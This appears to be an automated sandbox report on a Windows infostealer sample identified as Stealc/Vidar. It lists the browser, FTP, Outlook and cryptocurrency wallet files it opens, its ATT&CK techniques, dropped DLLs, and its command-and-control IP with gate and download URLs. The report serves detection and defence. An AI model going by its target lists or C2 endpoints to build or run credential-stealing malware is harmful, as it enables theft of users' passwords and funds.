Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7420, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1730489786.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2080967365.0000000000351000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7420, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	235 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
plus.l.google.com	0%	Virustotal	Browse
apis.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	216.58.206.46	true	false	0%, Virustotal, Browse	unknown
play.google.com	216.58.206.78	true	false	0%, Virustotal, Browse	unknown
www.google.com	172.217.16.196	true	false	0%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp, GIJDAFBK.0.dr	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/8z	chrome.exe, 00000001.00000003.1862953929.00004A3001614000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1862485736.00004A3001610000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1859150086.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832796731.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1914648687.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930668423.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837221454.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, GIJDAFBK.0.dr	false	URL Reputation: safe	unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000001.00000002.1923617263.00004A3000078000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000001.00000002.1926517200.00004A300048C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929586439.00004A3000938000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dlll	file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/8	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/?	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928978060.00004A30007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/C	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1836862600.00004A3000C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925730837.00004A30002E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836906481.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836972263.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835184153.00004A300100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835412769.00004A3001038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835307351.00004A300106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836939104.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835275417.00004A300101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835339682.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000001.00000002.1925730837.00004A30002EB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930076715.00004A3000A4C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/I	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206Q	file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/L	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000001.00000002.1929806090.00004A30009B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/R	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-3.corp.googlP60JP60J//drive-daily-4.corp.google.com/	chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1932476861.00004A3000E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929188687.00004A3000850000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Y	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/_	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpam	file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllh	file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/b	chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930979203.00004A3000C2C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928978060.00004A30007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926208443.00004A30003EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chromium-i18n.appspot.com/ssl-aggregate-address/J0	chrome.exe, 00000001.00000002.1931011558.00004A3000C38000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929739046.00004A30009A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1833225737.00004A3000ED0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpSs	file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
